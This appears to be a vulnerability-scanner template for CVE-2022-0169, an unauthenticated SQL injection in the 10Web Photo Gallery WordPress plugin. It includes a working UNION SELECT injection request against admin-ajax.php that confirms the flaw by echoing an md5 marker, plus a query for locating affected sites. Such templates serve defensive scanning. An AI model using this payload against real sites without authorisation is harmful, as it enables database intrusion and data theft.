id: CVE-2022-0169 info: name: Photo Gallery by 10Web < 1.6.0 - SQL Injection author: ritikchaddha,princechaddha severity: critical description: | The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. remediation: This is resolved in release 1.6.0. reference: - https://wpscan.com/vulnerability/0b4d870f-eab8-4544-91f8-9c5f0538709c - https://wordpress.org/plugins/photo-gallery/advanced/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0169 - https://plugins.trac.wordpress.org/changeset/2672822/photo-gallery#file9 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0169 cwe-id: CWE-89 epss-score: 0.01284 epss-percentile: 0.84353 cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: 10web product: photo_gallery framework: wordpress publicwww-query: "/wp-content/plugins/photo-gallery" tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,sqli,photo-gallery,10web variables: num: "999999999" http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g" matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200 # digest: 490a00463044022020630a1e97088a7ad94c637f7f0e46505b9716570e7a388d9936565f5dfadb9102200dd8fccb69bdd98374e59ef64948b16b667546d07c531ca9a52b5a50aad62bf7:922c64590222798bb761d5b6d8e72950